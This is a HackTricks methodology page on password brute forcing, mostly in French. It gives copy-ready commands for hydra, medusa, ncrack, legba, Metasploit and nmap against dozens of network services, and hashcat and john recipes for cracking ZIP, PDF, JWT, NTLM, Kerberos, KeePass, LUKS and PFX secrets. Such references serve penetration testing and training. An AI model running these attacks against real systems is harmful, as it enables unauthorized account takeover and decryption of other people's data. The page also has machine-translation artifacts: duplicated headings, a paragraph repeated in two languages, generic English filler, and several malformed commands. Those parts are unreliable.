hacktricks/generic-methodologies-and-resources/brute-force.md

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Autres façons de soutenir HackTricks :

Identifiants par défaut

Recherchez dans Google les identifiants par défaut de la technologie utilisée, ou essayez ces liens :

Créez vos propres dictionnaires

Trouvez autant d'informations que possible sur la cible et générez un dictionnaire personnalisé. Outils qui peuvent aider :

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

Cewl est un outil de génération de listes de mots-clés à partir d'un site Web en extrayant des mots du contenu du site.

cewl example.com -m 5 -w words.txt

CUPP

Génère des mots de passe basés sur vos connaissances de la victime (noms, dates...)

python3 cupp.py -h

Wister

Un outil générateur de listes de mots, qui vous permet de fournir un ensemble de mots, vous donnant la possibilité de créer de multiples variations à partir des mots donnés, créant ainsi une liste de mots unique et idéale à utiliser concernant une cible spécifique.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Listes de mots


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Services

Classés par ordre alphabétique du nom du service.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

AJP (Apache JServ Protocol) is a binary protocol that can be vulnerable to brute-force attacks.

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

Cassandra est un système de gestion de base de données distribuée conçu pour gérer de grandes quantités de données sur un grand nombre de serveurs sans point de défaillance unique.

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Registre Docker

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

FTP

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

Brute Force Générique HTTP

WFuzz

Authentification de base HTTP

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Poster un formulaire

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

Pour https vous devez changer de "http-post-form" à "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

L'attaque par force brute contre le protocole IMAP consiste à essayer de deviner les identifiants d'utilisateur en essayant différentes combinaisons de noms d'utilisateur et de mots de passe. Cette méthode peut être efficace si les identifiants sont faibles ou si aucune mesure de sécurité supplémentaire n'est en place pour limiter le nombre de tentatives de connexion.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

Brute Force

Brute force attacks are a common method used to gain unauthorized access to IRC channels. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak. It is important for IRC users to use strong and unique passwords to protect against brute force attacks.

Protection

To protect against brute force attacks on IRC channels, users should follow these best practices:

  • Use strong and unique passwords.
  • Enable two-factor authentication if available.
  • Limit the number of login attempts.
  • Monitor login activity for any suspicious behavior.
  • Regularly update passwords and review access logs.

By following these security measures, IRC users can reduce the risk of unauthorized access to their channels through brute force attacks.

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

JSON Web Tokens (JWT) are a popular method for implementing authentication in web applications. They consist of three parts: a header, a payload, and a signature. JWTs are often used to securely transmit information between parties in a compact and self-contained manner.

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

La technique de force brute peut être utilisée pour deviner les mots de passe des comptes MSSQL. Les outils couramment utilisés pour cela incluent Hydra, Metasploit et Nmap.

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

MySQL is an open-source relational database management system. It is widely used in web applications to store and manage data. MySQL databases can be targeted using brute force attacks to guess usernames and passwords. These attacks involve trying different combinations of usernames and passwords until the correct one is found. It is important to use strong and unique credentials to protect MySQL databases from brute force attacks.

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Pour utiliser oracle_login avec patator, vous devez installer:

pip3 install cx_Oracle --upgrade

Bruteforce du hash OracleSQL hors ligne (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, et 11.2.0.3) :

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

Le protocole Post Office Protocol (POP) est un protocole utilisé par les clients de messagerie pour récupérer les e-mails depuis un serveur de messagerie. Lors d'une attaque par force brute sur POP, un attaquant tente de deviner les identifiants de connexion en essayant différentes combinaisons de noms d'utilisateur et de mots de passe.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

PostgreSQL

hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
ncrack v U /root/Desktop/user.txt P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

Vous pouvez télécharger le paquet .deb à installer depuis https://http.kali.org/pool/main/t/thc-pptp-bruter/

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>

RDP

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP is commonly used for remote administration and accessing virtual desktops.

Le protocole Remote Desktop (RDP) est un protocole propriétaire développé par Microsoft, qui fournit à un utilisateur une interface graphique pour se connecter à un autre ordinateur via une connexion réseau. RDP est couramment utilisé pour l'administration à distance et l'accès aux bureaux virtuels.

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

Redis (Remote Dictionary Server) est un système de stockage de données en mémoire open source, utilisé comme base de données, cache et courtier de messages. Il prend en charge divers types de structures de données telles que les chaînes, les listes, les ensembles, les hachages, les ensembles triés, les bitmaps, les hyperloglogs et les index géospatiaux avec des requêtes de rayon.

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexec is a simple service that allows users to execute commands on a remote system. It is often used during penetration testing to brute force credentials or execute commands on compromised systems.

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rlogin est un protocole de connexion à distance qui peut être attaqué en utilisant des attaques de force brute pour deviner les mots de passe.

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

Remote Shell (Rsh) est un protocole qui permet à un utilisateur distant d'exécuter des commandes sur un serveur distant. Il peut être utilisé pour lancer des attaques de force brute en essayant de deviner les identifiants de connexion en répétant les tentatives avec différentes combinaisons de noms d'utilisateur et de mots de passe.

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

Le protocole de streaming en temps réel (RTSP) est un protocole de contrôle utilisé dans les systèmes de communication et de divertissement pour le contrôle de la diffusion en continu de médias.

hydra -l root -P passwords.txt <IP> rtsp

SFTP

Le protocole de transfert de fichiers SSH (SFTP) est un protocole sécurisé utilisé pour transférer des fichiers sur un réseau sécurisé.

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

Le protocole SMB (Server Message Block) est un protocole de partage de fichiers largement utilisé dans les environnements Windows. Il peut être la cible de tentatives de force brute pour deviner des identifiants valides et accéder à des ressources partagées.

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

Le protocole SMTP (Simple Mail Transfer Protocol) est un protocole de communication utilisé pour envoyer des e-mails sur un réseau.

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

SOCKS (Socket Secure) est un protocole Internet qui achemine les paquets de données entre un client et un serveur via un proxy. Il peut être utilisé pour contourner les pare-feu et pour l'anonymat en ligne.

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

Serveur SQL

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

Brute Force

Brute force attacks are a common method used to gain unauthorized access to SSH servers. Attackers use automated tools to try all possible combinations of usernames and passwords until the correct one is found. To protect against brute force attacks, it is recommended to use strong, complex passwords, implement account lockout policies, and use tools like fail2ban to block repeated login attempts from the same IP address.

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Clés SSH faibles / PRNG prévisible de Debian

Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction drastique de l'espace des clés qui peut être brute-forcé avec des outils tels que snowdroppe/ssh-keybrute. Des ensembles de clés faibles pré-générées sont également disponibles, comme g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ et OpenMQ)

Le protocole textuel STOMP est un protocole de messagerie largement utilisé qui permet une communication et une interaction transparentes avec des services de file d'attente de messages populaires tels que RabbitMQ, ActiveMQ, HornetQ et OpenMQ. Il offre une approche normalisée et efficace pour échanger des messages et effectuer diverses opérations de messagerie.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet est un protocole de communication utilisé sur les réseaux informatiques pour permettre une connexion à distance à un hôte. Il est souvent utilisé pour l'administration à distance des serveurs et des périphériques réseau.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

La méthode de force brute peut être utilisée pour deviner les mots de passe VNC.

hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt t 1 x retry:fgep!='Authentication failure' --max-retries 0 x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt


Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

Local

Bases de données de craquage en ligne

Consultez ceci avant d'essayer de brute forcer un Hash.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Attaque par force brute de texte en clair connu

Vous devez connaître le texte en clair (ou une partie du texte en clair) d'un fichier contenu à l'intérieur du zip chiffré. Vous pouvez vérifier les noms de fichiers et la taille des fichiers contenus à l'intérieur d'un zip chiffré en exécutant : 7z l encrypted.zip
Téléchargez bkcrack depuis la page des versions.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective.

Dictionary Attack

A dictionary attack involves using a predefined list of words as potential passwords. This method is more efficient than a brute force attack as it only tries words that are likely to be used as passwords. Dictionary attacks can be very successful, especially if the password is weak or common.

Rainbow Table Attack

Rainbow table attacks use precomputed tables to crack password hashes. These tables contain precomputed hash values for a large number of possible passwords. By comparing the hash of the target password to the values in the rainbow table, the attacker can quickly find a match and recover the password.

Credential Stuffing

Credential stuffing is a type of brute force attack that involves using known username and password combinations obtained from previous data breaches. Attackers use automated tools to test these combinations on various websites and services to gain unauthorized access.

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

Mot de passe propriétaire PDF

Pour craquer un mot de passe propriétaire PDF, consultez ceci : https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

Craquage NTLM

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Image de Lucks

Méthode 1

Installer : https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Méthode 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Tutoriel de BF Luks supplémentaire : http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

Clé privée PGP/GPG

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

Clé maître DPAPI

Utilisez https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py puis john

Colonne protégée par mot de passe dans Open Office

Si vous avez un fichier xlsx avec une colonne protégée par un mot de passe, vous pouvez la déprotéger :

  • Téléchargez-le sur Google Drive et le mot de passe sera automatiquement supprimé
  • Pour le supprimer manuellement :
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

Certificats PFX

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx


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Outils

Exemples de hash : https://openwall.info/wiki/john/sample-hashes

Identification de hash

hash-identifier
> <HASH>

Listes de mots

Outils de génération de listes de mots

  • kwprocessor: Générateur avancé de séquences de touches avec des caractères de base configurables, une disposition de touches et des itinéraires.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

Mutation de John

Lisez /etc/john/john.conf et configurez-le

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Attaques Hashcat

  • Attaque par liste de mots (-a 0) avec des règles

Hashcat est déjà livré avec un dossier contenant des règles mais vous pouvez trouver d'autres règles intéressantes ici.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • Attaque de combinaison de listes de mots

Il est possible de combiner 2 listes de mots en 1 avec hashcat.
Si la liste 1 contenait le mot "hello" et que la seconde contenait 2 lignes avec les mots "world" et "earth". Les mots helloworld et helloearth seront générés.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • Attaque par masque (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • Attaque Wordlist + Masque (-a 6) / Attaque Masque + Wordlist (-a 7)
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Modes Hashcat

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Brute Forcing

Introduction

Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This method is often used to crack Linux password hashes stored in the /etc/shadow file.

Tools

There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different password combinations.

Methodology

  1. Capture Hash: Obtain the password hash from the /etc/shadow file on a Linux system.
  2. Wordlist: Create or obtain a wordlist containing possible passwords to try.
  3. Brute Force: Use a brute force tool to systematically try all possible password combinations until a match is found.
  4. Crack Password: Once a match is found, the password is cracked and revealed.

Conclusion

Brute forcing is a powerful technique for cracking passwords, but it can be time-consuming depending on the complexity of the password. It is important to use strong, complex passwords to prevent brute force attacks.

